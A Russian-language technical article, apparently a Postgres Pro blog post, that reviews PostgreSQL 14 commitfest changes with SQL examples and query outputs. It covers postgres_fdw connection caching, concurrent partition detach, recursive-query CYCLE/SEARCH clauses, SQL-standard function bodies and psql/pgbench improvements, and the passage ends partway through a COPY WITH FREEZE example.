При первом обращении к внешней таблице через postgres\_fdw на внешнем сервере открывается новое подключение, в котором будет выполняться не только этот запрос, но и все последующие. Закроется это подключение автоматически, но только когда завершится наш сеанс. Это удобно, если нужно выполнить много запросов к внешнему серверу ― не тратятся существенные ресурсы на создание подключений.
А если нам нужно всего один раз что-то получить из внешней таблице и больше туда обращаться не надо, дальше просто работаем локально? Удаленный сеанс будет «болтаться» без использования, и с этим ничего нельзя поделать. Средств для управления удаленным сеансом у нас нет.
Точнее не было до 14 версии. Теперь при определении внешнего сервера можно выключить новый параметр keep\_connections, и тогда удаленный сеанс будет закрываться сразу по окончании транзакции.
Создадим два внешних сервера к соседней в кластере базе данных demo. Первый сервер повторно использует один раз открытое удаленное соединение, а второй каждый раз будет открывать новое.
```
CREATE EXTENSION postgres_fdw;
CREATE SERVER demo_srv_cached FOREIGN DATA WRAPPER postgres_fdw
OPTIONS (dbname 'demo');
CREATE SERVER demo_srv_not_cached FOREIGN DATA WRAPPER postgres_fdw
OPTIONS (dbname 'demo', keep_connections 'off');
CREATE USER MAPPING FOR postgres SERVER demo_srv_cached
OPTIONS (user 'postgres', password 'postgres');
CREATE USER MAPPING FOR postgres SERVER demo_srv_not_cached
OPTIONS (user 'postgres', password 'postgres');
```
И две внешние таблицы для работы с каждым из серверов:
```
CREATE FOREIGN TABLE bookings_cached (
book_ref char(6),
book_date timestamptz,
total_amount numeric(10,2)
) SERVER demo_srv_cached
OPTIONS (schema_name 'bookings', table_name 'bookings');
CREATE FOREIGN TABLE bookings_not_cached (
book_ref char(6),
book_date timestamptz,
total_amount numeric(10,2)
) SERVER demo_srv_not_cached
OPTIONS (schema_name 'bookings', table_name 'bookings');
```
Выполняем запрос к таблице, где соединение не кешируется:
```
SELECT count(*) FROM bookings_not_cached;
```
```
count
---------
2111110
```
Ищем удаленный сеанс:
```
SELECT datname, pid FROM pg_stat_activity
WHERE application_name = 'postgres_fdw';
```
```
datname | pid
---------+-----
(0 rows)
```
А его уже нет, он закрыт. Другое дело запрос к таблице bookings\_cached:
```
SELECT count(*) FROM bookings_cached;
```
```
count
---------
2111110
```
```
SELECT datname, pid FROM pg_stat_activity
WHERE application_name = 'postgres_fdw';
```
```
datname | pid
---------+-------
demo | 17876
```
Сеанс на месте и ждет новых запросов.
**[postgres\_fdw: возможность импортировать определение отдельных секций](https://commitfest.postgresql.org/32/2950/)**
commit: [a3740c48](https://github.com/postgres/postgres/commit/a3740c48)
Команда IMPORT FOREIGN SCHEMA разрешает импортировать определение всей секционированной таблицы целиком, со всеми секциями. А вот определение отдельной секции импортировать нельзя.
В случае такой необходимости можно воспользоваться CREATE FOREIGN TABLE, но теперь можно указать нужную секцию и во фразе LIMIT TO команды IMPORT FOREIGN SCHEMA.
Секционирование
---------------
**[ALTER TABLE… DETACH PARTITION CONCURRENTLY](https://commitfest.postgresql.org/32/2714/)**
commit: [71f4c8c6](https://github.com/postgres/postgres/commit/71f4c8c6)
Возможность управлять секциями таблицы на лету, без прерывания работы приложения, очень важна в мире больших данных. Предположу, что это одно из ключевых преимуществ [timescaledb](https://www.timescale.com/) перед ванильным PostgreSQL в работе с временн*ы*ми данными.
Добавлять новые секции, не останавливая приложение, научились еще в 12 версии. ALTER TABLE… ATTACH PARTITION требует блокировку ShareUpdateExclusiveLock, совместимую с операциями DML. А вот с отключением секцией так не получилось сделать. ALTER TABLE… DETACH PARTITION требует эксклюзивной блокировки.
Спустя два года доработали и отключение секций. К DETACH PARTITION теперь можно добавить ключевое слово CONCURRENTLY.
В новом виде команда выполняется в две транзакции. Первая помечает секцию (pg\_inherits.inhdetachpending) как планируемую к отключению. Это дает возможность параллельным запросам, которые уже выполняются или только запланировали доступ к секции, отработать не меняя плана, а все новые запросы уже не будут «видеть» секцию. Теперь нужно подождать завершения всех транзакций, работающих с таблицей и начатых до изменения признака pg\_inherits.inhdetachpending, и во второй транзакции непосредственно отключить секцию.
Такая реализация несет в себе важные ограничения:
* DETACH PARTITION CONCURRENTLY не может выполняться в начатой транзакции. И, как следствие, команда не может вызываться в функции. Более того, реализация такова, что и из процедуры не может вызываться. Если захочется написать обвязку вокруг команды (например добавление новой секции и сразу отключение и удаление старой), то придется это делать скриптами на клиенте.
* У таблицы не должно быть секции по умолчанию.
Для примера создадим таблицу с двумя секциями, в параллельных сеансах будем изменять таблицу и попробуем отключить секцию:
```
CREATE TABLE logdata (ts date) PARTITION BY RANGE (ts);
CREATE TABLE ts_20210401 PARTITION OF logdata
FOR VALUES FROM ('2021-04-01'::date) TO ('2021-04-02'::date);
CREATE TABLE ts_20210402 PARTITION OF logdata
FOR VALUES FROM ('2021-04-02'::date) TO ('2021-04-03'::date);
```
Во втором сеансе открываем транзакцию и добавляем строку в секцию за 2 апреля:
```
| BEGIN;
| INSERT INTO logdata VALUES ('2021-04-02'::date);
```
Теперь отключаем секцию за 1 апреля в первом сеансе:
```
ALTER TABLE logdata DETACH PARTITION ts_20210401 CONCURRENTLY;
```
… и команда повисает. Признак, что секция помечена на отключение, установлен, но нужно дождаться, чтобы все начатые параллельные транзакции, работающие с любыми секциями таблицы, завершились.
В этот момент добавить строку в секцию, помеченную к отключению, уже нельзя, её не видно. Попробуем из третьего сеанса:
```
|| INSERT INTO logdata VALUES ('2021-04-01'::date);
```
```
ERROR: no partition of relation "logdata" found for row
DETAIL: Partition key of the failing row contains (ts) = (2021-04-01).
```
А с остальными секциями можно прекрасно продолжать работать. Например добавим еще одну строку в третьем сеансе в новой транзакции:
```
|| BEGIN;
|| INSERT INTO logdata VALUES ('2021-04-02'::date);
|| INSERT 0 1
```
Как только завершится транзакция во втором сеансе, секция будет окончательно отключена. А открытая транзакция в третьем сеансе не станет помехой.
На случай сбоя во время ожидания предусмотрена команда, завершающая начатое:
```
ALTER TABLE .. DETACH PARTITION .. FINALYZE;
```
**[Обработка UPDATE и DELETE для секционированных таблиц](https://commitfest.postgresql.org/32/2575/)**
commit: [86dc9005](https://github.com/postgres/postgres/commit/86dc9005)
Узел плана ModifyTable, используемый для выполнения любых команд UPDATE и DELETE, радикально переписали. Но сделано это в первую очередь для оптимизации работы с секционированными таблицами.
Подробности можно прочитать в описании коммита или в переписке. А результаты посмотрим на секционированной таблице bookings\_range, которая создана вот так:
```
CREATE TABLE bookings_range (
book_ref character(6),
book_date timestamptz,
total_amount numeric(10,2)
) PARTITION BY RANGE(book_date);
CREATE TABLE p201607 PARTITION OF bookings_range
FOR VALUES FROM ('2016-07-01') TO ('2016-08-01');
CREATE TABLE p201608 PARTITION OF bookings_range
FOR VALUES FROM ('2016-08-01') TO ('2016-09-01');
CREATE TABLE p201609 PARTITION OF bookings_range
FOR VALUES FROM ('2016-09-01') TO ('2016-10-01');
INSERT INTO bookings_range
SELECT * FROM bookings WHERE book_date < '2016-10-01';
```
В следующем запросе используется функция to\_timestamp с категорией изменчивости STABLE:
```
EXPLAIN (ANALYZE, COSTS OFF, TIMING OFF, SUMMARY OFF)
SELECT * FROM bookings_range
WHERE book_date = to_timestamp('01.08.2016','DD.MM.YYYY');
```
```
QUERY PLAN
--------------------------------------------------------------------------
Gather (actual rows=3 loops=1)
Workers Planned: 2
Workers Launched: 2
-> Parallel Append (actual rows=1 loops=3)
Subplans Removed: 2
-> Parallel Seq Scan on p201608 bookings_range_1
(actual rows=1 loops=3)
Filter: (book_date = to_timestamp('01.08.2016'::text, 'DD.MM.YYYY'::text))
Rows Removed by Filter: 56109
```
Очень хороший план. Значение функции вычисляется при инициализации плана запроса и часть секций исключается из просмотра (видно по строке Subplans Removed). Такое поведение появилось еще в 12 версии (этот пример взят из [статьи](https://habr.com/ru/company/postgrespro/blog/456716/) двухлетней давности).
Но вот при изменении и удалении строк всё гораздо хуже. Следующий запрос на удаление и в 12, и в 13 версии работает плохо:
```
-- BEGIN;
EXPLAIN (ANALYZE, COSTS OFF, TIMING OFF, SUMMARY OFF)
DELETE FROM bookings_range
WHERE book_date = to_timestamp('01.08.2016','DD.MM.YYYY');
-- ROLLBACK;
```
```
QUERY PLAN
--------------------------------------------------------------------------
Delete on bookings_range (actual rows=0 loops=1)
Delete on p201607 bookings_range_1
Delete on p201608 bookings_range_2
Delete on p201609 bookings_range_3
-> Seq Scan on p201607 bookings_range_1 (actual rows=0 loops=1)
Filter: (book_date = to_timestamp('01.08.2016'::text, 'DD.MM.YYYY'::text))
Rows Removed by Filter: 10878
-> Seq Scan on p201608 bookings_range_2 (actual rows=3 loops=1)
Filter: (book_date = to_timestamp('01.08.2016'::text, 'DD.MM.YYYY'::text))
Rows Removed by Filter: 168326
-> Seq Scan on p201609 bookings_range_3 (actual rows=0 loops=1)
Filter: (book_date = to_timestamp('01.08.2016'::text, 'DD.MM.YYYY'::text))
Rows Removed by Filter: 165421
```
Как видим, просматриваются все секции.
А теперь этот же запрос на удаление в 14 версии:
```
QUERY PLAN
--------------------------------------------------------------------------
Delete on bookings_range (actual rows=0 loops=1)
Delete on p201607 bookings_range
Delete on p201608 bookings_range_1
Delete on p201609 bookings_range
-> Append (actual rows=3 loops=1)
Subplans Removed: 2
-> Seq Scan on p201608 bookings_range_1 (actual rows=3 loops=1)
Filter: (book_date = to_timestamp('01.08.2016'::text, 'DD.MM.YYYY'::text))
Rows Removed by Filter: 168326
```
Поведение практически идентичное запросу на выборку!
**[Автоматический сбор статистики по секционированным таблицам](https://commitfest.postgresql.org/32/2492/)**
commit: [0827e8af](https://github.com/postgres/postgres/commit/0827e8af)
Командой ANALYZE можно собирать статистику как по отдельным секциям, так и сводную информацию по самой секционированной (или родительской) таблице.
Однако автоматический сбор статистики, выполняемый рабочими процессами autovacuum, реагирует только на изменения в секциях. И никогда не приходит для обновления родительской таблицы, ведь в ней ничего нет и соответственно ничего не менялось. Таким образом, если не собирать статистику вручную, то сводная информация о секционированных таблицах в pg\_statistic будет заметно не соответствовать реальному положению дел.
В новой версии, если autovacuum видит, что хотя бы для одной из секций требуется сбор статистики, то родительская таблица также будет добавлена в список для обработки.
**[Оптимизация добавления внешнего ключа на секционированную таблицу](https://commitfest.postgresql.org/32/2930/)**
commit: [c3ffe348](https://github.com/postgres/postgres/commit/c3ffe348)
При добавлении внешнего ключа на секционированную таблицу проверка целостности выполняется очень неэффективно, потому что выполняется для каждой секции отдельно. Т. е. для каждой секции строится один и тот же запрос к таблице, на которую ссылаемся.
А ведь можно этот запрос один раз закешировать и использовать в каждой секции. Экономится куча ресурсов, особенно памяти. Что и было сделано.
Команды SQL
-----------
**[Фразы CYCLE и SEARCH для рекурсивных запросов](https://commitfest.postgresql.org/32/2570/)**
commit: [3696a600](https://github.com/postgres/postgres/commit/3696a600), [f4adc41c](https://github.com/postgres/postgres/commit/f4adc41c)
В предыдущей статье серии [говорилось](https://habr.com/ru/company/postgrespro/blog/541252/#commit_62f34097) о новой функции pg\_get\_catalog\_foreign\_keys, с помощью которой можно понять, как таблицы системного каталога ссылаются друг на друга. Поэкспериментируем с ней.
Допустим мы хотим найти все таблицы, ссылающиеся на pg\_constraint напрямую или косвенно. Для этого нужен рекурсивный запрос. Вот он:
```
WITH RECURSIVE r(pktable, fktable, is_cycle, path) AS (
SELECT pktable, fktable, false, ARRAY[pktable]
FROM pg_get_catalog_foreign_keys()
WHERE pktable = 'pg_constraint'::regclass
UNION ALL
SELECT f.pktable, f.fktable, f.pktable = ANY(path), r.path||f.pktable
FROM pg_get_catalog_foreign_keys() f, r
WHERE f.pktable = r.fktable
AND NOT r.is_cycle
)
SELECT * FROM r WHERE NOT is_cycle;
```
```
pktable | fktable | is_cycle | path
---------------+---------------+----------+----------------------------
pg_constraint | pg_constraint | f | {pg_constraint}
pg_constraint | pg_trigger | f | {pg_constraint}
pg_trigger | pg_trigger | f | {pg_constraint,pg_trigger}
(3 rows)
```
В качестве результата было бы достаточно первых двух столбцов pktable и fktable. Но в запрос добавлены еще два столбца is\_cycle и path. Они нужны для того, чтобы рекурсивная часть запроса не ушла в бесконечный цикл. А это обязательно бы произошло, ведь на pg\_constraint ссылается не только pg\_trigger, но и сама pg\_constraint. Кстати и pg\_trigger ссылается сама на себя.
В 14 версии запрос может быть переписан так:
```
WITH RECURSIVE r(pktable, fktable) AS (
SELECT pktable, fktable
FROM pg_get_catalog_foreign_keys()
WHERE pktable = 'pg_constraint'::regclass
UNION ALL
SELECT f.pktable, f.fktable
FROM pg_get_catalog_foreign_keys() f, r
WHERE f.pktable = r.fktable
)
CYCLE pktable SET is_cycle USING path
SELECT * FROM r;
```
```
pktable | fktable | is_cycle | path
---------------+---------------+----------+-------------------------------
pg_constraint | pg_constraint | f | {(pg_constraint)}
pg_constraint | pg_trigger | f | {(pg_constraint)}
pg_constraint | pg_constraint | t | {(pg_constraint),(pg_constraint)}
pg_trigger | pg_trigger | f | {(pg_constraint),(pg_trigger)}
pg_constraint | pg_trigger | t | {(pg_constraint),(pg_constraint)}
pg_trigger | pg_trigger | t | {(pg_constraint),(pg_trigger),(pg_trigger)}
(6 rows)
```
Что изменилось?
* Появилось новая фраза CYCLE, в которой объявляется столбец, значения которого могут зациклиться. Здесь же объявляются названия для уже знакомых по предыдущему запросу столбцов с признаком зацикливания (SET) и массива значений (USING).
* Столбцы, заданные в SET и USING, неявно создаются на этапе переписывания (rewrite) и могут использоваться в запросе.
* Дополнительные три строки результата с признаком зацикливания можно отфильтровать во фразе WHERE внешнего запроса. Здесь они оставлены для наглядности, чтобы показать что запрос не уходит в бесконечный цикл.
Теперь посмотрим, как можно сортировать результаты рекурсивного запроса. Повторим предыдущий запрос для таблицы pg\_attribute. В запросе дополнительно используется группировка, чтобы убрать дубликаты (например pg\_constraint дважды ссылается на pg\_attribute). А сортировка выполняется по столбцу sort\_by, который объявлен в еще одной новой фразе SEARCH:
```
WITH RECURSIVE r(pktable, fktable) AS (
SELECT pktable, fktable
FROM pg_get_catalog_foreign_keys()
WHERE pktable = 'pg_attribute'::regclass
GROUP BY pktable, fktable
UNION ALL
SELECT f.pktable, f.fktable
FROM pg_get_catalog_foreign_keys() f, r
WHERE f.pktable = r.fktable
GROUP BY f.pktable, f.fktable
) SEARCH DEPTH FIRST BY pktable SET sort_by
CYCLE pktable SET is_cycle USING path
SELECT pktable, fktable, sort_by FROM r WHERE NOT is_cycle
ORDER BY sort_by;
```
```
pktable | fktable | sort_by
------------------+-----------------------+-----------------------------------------------
pg_attribute | pg_attrdef | {(pg_attribute)}
pg_attribute | pg_constraint | {(pg_attribute)}
pg_attribute | pg_index | {(pg_attribute)}
pg_attribute | pg_statistic | {(pg_attribute)}
pg_attribute | pg_trigger | {(pg_attribute)}
pg_attribute | pg_partitioned_table | {(pg_attribute)}
pg_attribute | pg_statistic_ext | {(pg_attribute)}
pg_constraint | pg_constraint | {(pg_attribute),(pg_constraint)}
pg_constraint | pg_trigger | {(pg_attribute),(pg_constraint)}
pg_trigger | pg_trigger | {(pg_attribute),(pg_constraint),(pg_trigger)}
pg_trigger | pg_trigger | {(pg_attribute),(pg_trigger)}
pg_statistic_ext | pg_statistic_ext_data | {(pg_attribute),(pg_statistic_ext)}
```
Фраза SEARCH DEPTH FIRST BY pktable SET sort\_by неявно создает столбец sort\_by, опять же, на этапе переписывания запроса. Это так называемая сортировка в глубину. Если приглядеться, то видно, что столбец sort\_by представляет собой точно такой же массив, как и path. Поэтому для сортировки в глубину можно не писать SEARCH, а сразу сортировать по столбцу path.
Другой вариант SEARCH BREADTH FIRST BY pktable SET sort\_by.
В этом случае столбец sort\_by будет формироваться по другому. В него добавляется уровень вложенности рекурсивного запроса. Это позволяет сортировать сначала по уровню вложенности, а внутри каждого уровня по названию таблицы.
В результатах предыдущего запроса третья строка снизу имеет третий уровень вложенности, но располагается между строками второго уровня. Изменив сортировку мы отправим её на своё, последнее место:
```
WITH RECURSIVE r(pktable, fktable) AS (
SELECT pktable, fktable
FROM pg_get_catalog_foreign_keys()
WHERE pktable = 'pg_attribute'::regclass
GROUP BY pktable, fktable
UNION ALL
SELECT f.pktable, f.fktable
FROM pg_get_catalog_foreign_keys() f, r
WHERE f.pktable = r.fktable
GROUP BY f.pktable, f.fktable
) SEARCH BREADTH FIRST BY pktable SET sort_by
CYCLE pktable SET is_cycle USING path
SELECT pktable, fktable, sort_by FROM r WHERE NOT is_cycle
ORDER BY sort_by;
```
```
pktable | fktable | sort_by
------------------+-----------------------+----------------------
pg_attribute | pg_attrdef | (0,pg_attribute)
pg_attribute | pg_constraint | (0,pg_attribute)
pg_attribute | pg_index | (0,pg_attribute)
pg_attribute | pg_statistic | (0,pg_attribute)
pg_attribute | pg_trigger | (0,pg_attribute)
pg_attribute | pg_partitioned_table | (0,pg_attribute)
pg_attribute | pg_statistic_ext | (0,pg_attribute)
pg_constraint | pg_constraint | (1,pg_constraint)
pg_constraint | pg_trigger | (1,pg_constraint)
pg_trigger | pg_trigger | (1,pg_trigger)
pg_statistic_ext | pg_statistic_ext_data | (1,pg_statistic_ext)
pg_trigger | pg_trigger | (2,pg_trigger)
```
Столбец sort\_by в таком виде можно сформировать и без SEARCH BREADTH FIRST. Для этого в запрос добавляют еще один столбец, часто называемый level, для уровня вложенности, значение которого увеличивается на единицу в рекурсивной части запроса. Но теперь это делается автоматически.
Подводя итоги. Фразы CYCLE и SEARCH не добавляют принципиально новых возможностей для рекурсивных запросов. Но упрощают их написание. Теперь не нужно явно объявлять служебные столбцы и следить за их правильным формированием. Это не только удобнее, но и сокращает количество потенциальных ошибок.
К тому же эти фразы описаны в стандарте SQL, а теперь стали частью PostgreSQL.
**[GROUP BY DISTINCT](https://commitfest.postgresql.org/32/2998/)**
commit: [be45be9c](https://github.com/postgres/postgres/commit/be45be9c)
Казалось бы, зачем DISTINCT в GROUP BY? Группировка на то и нужна, чтобы отсечь дубликаты.
Но у GROUP BY есть аналитические возможности: GROUPING SETS, ROLLUP, CUBE. При помощи этих конструкций в результат запроса добавляются еще и итоговые строки.
Например вот разбивка рейсов по статусам и аэропортам вылета (выборка ограничена вылетами из Усть-Кута):
```
SELECT status, departure_airport, count(*)
FROM flights_v
WHERE departure_city = 'Усть-Кут'
GROUP BY ROLLUP(status, departure_airport);
```
```
status | departure_airport | count
-----------+-------------------+-------
| | 396
Arrived | UKX | 366
On Time | UKX | 1
Scheduled | UKX | 28
Cancelled | UKX | 1
Arrived | | 366
On Time | | 1
Cancelled | | 1
Scheduled | | 28
```
Помимо строк с аэропортами, в запросе появились еще итоговые строки для каждого статуса и общая итоговая строка.
Но если мы захотим в этот же запрос добавить еще и другую аналитическую группировку, например по аэропортам прилета, то легко догадаться, что итоговые строки будут дублироваться:
```
GROUP BY ROLLUP(status,departure_airport), ROLLUP(status,arrival_airport);
```
Чтобы избежать этих дублей пригодится указание DISTINCT:
```
GROUP BY DISTINCT ROLLUP(status,departure_airport), ROLLUP(status,arrival_airport);
```
К тому же возможность указать DISTINCT в GROUP BY описана в стандарте SQL.
**[Псевдоним для условия соединения в запросе](https://commitfest.postgresql.org/32/2158/)**
commit: [055fee7e](https://github.com/postgres/postgres/commit/055fee7e)
В стандарте SQL:2016, а теперь и в PostgreSQL, есть возможность указать псевдоним для условия соединения. К столбцам, по которым выполняется соединение, можно обращаться по псевдониму:
```
SELECT x.*
FROM ticket_flights JOIN boarding_passes USING (ticket_no, flight_id) AS x
LIMIT 1;
```
```
ticket_no | flight_id
---------------+-----------
0005435189093 | 198393
```
**[Подпрограммы на языке SQL](https://commitfest.postgresql.org/32/2630/)**
commit: [e717a9a1](https://github.com/postgres/postgres/commit/e717a9a1)
Текст функций и процедур в PostgreSQL задается и хранится в виде строки. Каждый раз при вызове подпрограммы её текст интерпретируется.
Эти утверждения не всегда будут действительны для подпрограмм на языке SQL в 14 версии.
Для соответствия стандарту и совместимости с другими СУБД тело подпрограммы на языке SQL теперь может быть указано следующим образом:
```
CREATE FUNCTION maximum(a integer, b integer) RETURNS integer
LANGUAGE SQL
RETURN CASE WHEN a > b THEN a ELSE b END;
SELECT maximum(10,12);
```
```
maximum
---------
12
```
Что изменилось?
* Нет конструкции AS $$ текст функции $$.
* Новое ключевое слово RETURN для возврата значения.
* При создании функции команда предварительно разбирается, результат разбора сохраняется в pg\_proc.prosqlbody.
* Текст функции не сохраняется в pg\_proc.prosrc.
При вызове функции её команды заново не интерпретируются!
Отсюда следствие. Нет возможности использовать полиморфные типы данных для аргументов:
```
CREATE FUNCTION maximum(a anyelement, b anyelement) RETURNS anyelement
LANGUAGE SQL
RETURN CASE WHEN a > b THEN a ELSE b END;
```
```
ERROR: SQL function with unquoted function body cannot have polymorphic arguments
```
Если полиморфная функция всё-таки нужна, то можно написать «по-старинке»:
```
CREATE FUNCTION maximum(a anyelement, b anyelement) RETURNS anyelement
LANGUAGE SQL
AS $$SELECT CASE WHEN a > b THEN a ELSE b END$$;
```
```
CREATE FUNCTION
```
Функция с несколькими командами SQL в новом варианте записывается так:
```
CREATE TABLE t (id int);
CREATE FUNCTION add_and_count (p int) RETURNS bigint
LANGUAGE SQL
BEGIN ATOMIC
INSERT INTO t VALUES(p);
SELECT count(*) FROM t;
END;
SELECT add_and_count(100);
```
```
add_and_count
---------------
1
```
Команды оборачиваются конструкцией BEGIN ATOMIC… END, возвращается значение последней команды.
Хранение функции в «разобранном» виде позволяет в том числе определить зависимости между объектами. Также как и для представлений. Например, функция add\_and\_count зависит от таблицы t. Точнее сохраняется зависимость от идентификатора таблицы, ее имя можно и поменять:
```
ALTER TABLE t RENAME TO t_new;
SELECT add_and_count(101);
```
```
add_and_count
---------------
2
```
А вот удалить таблицу просто так не получится:
```
DROP TABLE t_new;
```
```
ERROR: cannot drop table t_new because other objects depend on it
DETAIL: function add_and_count(integer) depends on table t_new
HINT: Use DROP ... CASCADE to drop the dependent objects too.
```
Разумеется можно обратно получить текст функции, теперь уже с новым именем таблицы:
```
\sf add_and_count
```
```
CREATE OR REPLACE FUNCTION public.add_and_count(p integer)
RETURNS bigint
LANGUAGE sql
BEGIN ATOMIC
INSERT INTO t_new (id)
VALUES (add_and_count.p);
SELECT count(*) AS count
FROM t_new;
END
```
Системное администрирование
---------------------------
**[pg\_amcheck ― утилита для поиска поврежденных данных](https://commitfest.postgresql.org/32/2670/)**
commit: [866e24d4](https://github.com/postgres/postgres/commit/866e24d4), [97060928](https://github.com/postgres/postgres/commit/97060928)
Модуль [amcheck](https://www.postgresql.org/docs/devel/amcheck.html) предлагает различные функции для поиска поврежденных данных не только в индексах, но и в таблицах (первый коммит).
А новая утилита командной строки [pg\_amcheck](https://www.postgresql.org/docs/devel/app-pgamcheck.html) представляет собой удобный интерфейс для выполнения этих проверок.
**[Модуль pg\_standby удален](https://commitfest.postgresql.org/32/2806/)**
commit: [514b411a](https://github.com/postgres/postgres/commit/514b411a)
В эпоху потоковой репликации использование утилиты pg\_standby, как части restore\_command, для создания сервера теплого резерва уже давно не актуально.
**[pg\_dump --extension](https://commitfest.postgresql.org/32/2956/)**
commit: [6568cef2](https://github.com/postgres/postgres/commit/6568cef2)
Название говорит само за себя. У pg\_dump новый параметр, позволяющий указать, какие расширения выгружать.
В следующем примере в базе данных demo есть схема с таблицей, использующей столбец из расширения ltree.
```
CREATE SCHEMA app;
CREATE EXTENSION ltree SCHEMA app;
CREATE TABLE t (id int, data app.ltree);
```
Если выгружать базу данных целиком, то в неё попадают все установленные расширения и такое поведение обычно устраивает:
```
$ pg_dump -d demo | grep 'CREATE EXTENSION'
CREATE EXTENSION IF NOT EXISTS ltree WITH SCHEMA app;
```
Но если мы хотим выгрузить только схему app, то расширение установленное в ней, в выгрузку не попадает и восстановить таблицу из такой копии не получится:
```
$ pg_dump -d demo -n app | grep 'CREATE EXTENSION'
$
```
Новый параметр --extension приходит на помощь:
```
$ pg_dump -d demo -n app --extension ltree | grep 'CREATE EXTENSION'
CREATE EXTENSION IF NOT EXISTS ltree WITH SCHEMA app;
```
**[Функции pg\_terminate\_backend и pg\_wait\_for\_backend\_termination](https://commitfest.postgresql.org/32/2822/)**
commit: [aaf04325](https://github.com/postgres/postgres/commit/aaf04325)
Известно, что функция pg\_terminate\_backend отправляет процессу сигнал SIGTERM с требованием остановиться. Но процесс может остановиться не сразу, а в отдельных случаях может вообще не остановиться.
Теперь функции pg\_terminate\_backend можно параметром указать, сколько времени подождать до завершения процесса. Если за это время процесс останавливается, то pg\_terminate\_backend вернет истину, иначе false.
А если таймаут не указывать (текущее поведение), то сразу возвращается истина как признак того, что сигнал SIGTERM отправлен. В этом случае для уверенности в том, что процесс всё-таки остановился, можно воспользоваться новой функцией pg\_wait\_for\_backend\_termination, которая подождет завершения указанного процесса в течение указанного времени, по умолчанию 5 секунд.
Клиентские приложения
---------------------
**[libpq: возможность задать предпочтение для подключения к реплике](https://commitfest.postgresql.org/32/1677/)**
commit: [ee28cacf](https://github.com/postgres/postgres/commit/ee28cacf)
В строке подключения libpq можно указать несколько узлов. Это может быть полезным для балансировки читающей нагрузки между основным сервером и репликами. При подключении узлы перебираются по списку, пока подключение не будет установлено. Теперь можно дополнительно указать, какой тип сервера нужно выбрать. Для этого у параметра подключения *target\_session\_attrs* появились новые значения. Кроме any и read-write теперь можно задать:
* read-only ― допускаются подключения либо к реплике, либо должен быть включен параметр *default\_transaction\_read\_only*;
* primary ― допускаются подключения только к основному серверу;
* standby ― допускаются подключения только реплике;
* prefer-standby ― сначала постараться найти в списке серверов реплику и подключиться к ней; если реплики так и не нашлось, то пойти по второму кругу и подключиться к любому серверу.
**[Трассировка в libpq](https://commitfest.postgresql.org/32/2889/)**
commit: [198b3716](https://github.com/postgres/postgres/commit/198b3716)
Для трассировки взаимодействия между клиентом и сервером в библиотеке libpq есть функция PQtrace. По признанию самих разработчиков её вывод долгое время был практически бесполезен. В 14 версии ситуация изменится в лучшую сторону.
**[psql: указание типов аргументов в \df](https://commitfest.postgresql.org/32/2788/)**
commit: [a3027e1e](https://github.com/postgres/postgres/commit/a3027e1e)
Перегрузка позволяет создавать несколько функций с одним именем, но разными входными параметрами. Команда \df покажет все перегруженные функции. Но что если их слишком много, а хочется найти функцию с конкретными входными параметрами?
В \df после имени функции можно перечислить типы данных для параметров. Например, агрегатная функция min перегружена 21 раз. Вариант для целочисленного параметра находится так:
```
\df min int
```
```
List of functions
Schema | Name | Result data type | Argument data types | Type
------------+------+------------------+---------------------+------
pg_catalog | min | integer | integer | agg
(1 row)
```
Имена типов задаются шаблоном, так же как в команде \dT.
Заодно в \dT добавили возможность указывать массивы (bookings[]) и принятые сокращения (int вместо integer).
**[psql: выход из редактора без сохранения](https://commitfest.postgresql.org/32/2879/)**
commit: [55873a00](https://github.com/postgres/postgres/commit/55873a00)
psql записывает в буфер последную выполненную команду SQL. Команду в буфере можно редактировать, вызвав \е. Но что будет, если, находясь в редакторе, мы передумали и решили выйти без сохранения? А будет вот что. Команда в буфере останется прежней, но она будет выполнена! А раз мы передумали редактировать команду, то возможно и выполнять её не собирались.
Новое поведение предписывает очищать буфер в случае выхода из редактора без сохранения. Таким образом команда не будет выполнена повторно.
Такие же изменения для похожих команд \e file, \ev, \ef.
UPD: Следующий патч откатили 15.04. Спасибо Виктору Егорову.
[psql: показывать результаты всех запросов](https://commitfest.postgresql.org/32/2096/)
commit: [3a513067](https://github.com/postgres/postgres/commit/3a513067)
В psql есть возможность за один раз отправить несколько запросов на сервер и выполнить их в одной транзакции. Для этого команды разделяются символами \;
```
select 1\; select 2;
```
```
?column?
----------
2
```
На экран выводится результат только последней команды, хотя выполнились обе.
В 14 версии по умолчанию выводятся результаты всех команд:
```
select 1\; select 2;
```
```
?column?
----------
1
(1 row)
?column?
----------
2
```
Прежнее поведение можно вернуть, отключив новую встроенную переменную SHOW\_ALL\_RESULTS.
**[psql: автодополнение по табуляции улучшено для TRUNCATE](https://commitfest.postgresql.org/32/3001/)**
commit: [6b40d9bd](https://github.com/postgres/postgres/commit/6b40d9bd)
**[pgbench: синхронизация начала работы между потоками](https://commitfest.postgresql.org/32/2557/)**
commit: [aeb57af8](https://github.com/postgres/postgres/commit/aeb57af8)
При запуске pgbench в несколько потоков сначала создаются все подключения, и только после этого они начинают работать. Иначе новые подключения могут блокироваться уже стартовавшими сеансами.
С проблемой столкнулся Андрес Фройнд при тестировании [серии патчей](https://habr.com/ru/company/postgrespro/blog/522428/#commit_dc7420c2), повышающих масштабируемость подключений.
**[pgbench: функция permute для распределения случайных значений](https://commitfest.postgresql.org/32/1736/)**
commit: [6b258e3d](https://github.com/postgres/postgres/commit/6b258e3d)
Для разброса случайных значений при неравномерном распределении использовалась функции хеширования, например так:
```
\set r random_zipfian(0, 100000000, 1.07)
\set k abs(hash(:r)) % 1000000
```
Теперь для этих целей можно можно воспользоваться новой функцией permute:
```
\set size 1000000
\set r random_zipfian(1, :size, 1.07)
\set k 1 + permute(:r, :size)
```
**[ECPG: новая команда DECLARE STATEMENT](https://commitfest.postgresql.org/32/2334/)**
commit: [ad8305a4](https://github.com/postgres/postgres/commit/ad8305a4)
Встраиваемый SQL обзавелся новой командой [DECLARE STATEMENT](https://www.postgresql.org/docs/devel/ecpg-sql-declare-statement.html).
Разное
------
**[Полноценная заморозка с COPY WITH FREEZE](https://commitfest.postgresql.org/31/2009/)**
commit: [7db0cd21](https://github.com/postgres/postgres/commit/7db0cd21)
UPD: Работа была частично [отменена](https://github.com/postgres/postgres/commit/8e03eb92). Основная таблица замораживается полноценно, то TOAST-таблица, если есть, это изменение не получит и последующая очистка будет переписывать все страницы.
COPY WITH FREEZE не просто загружает данные в таблицу, добавленные строки сразу помечаются как замороженные. Таким образом, после загрузки в таблице нет мертвых строк и нечего замораживать. Получается, что последующей очистке нечего делать в таблице, пока не накопятся новые изменения.
Посмотрим в деле на 13 версии. Сделаем копию таблицы bookings при помощи COPY WITH FREEZE.
```
COPY bookings TO '/home/pluzanov/pg13/bookings.txt';
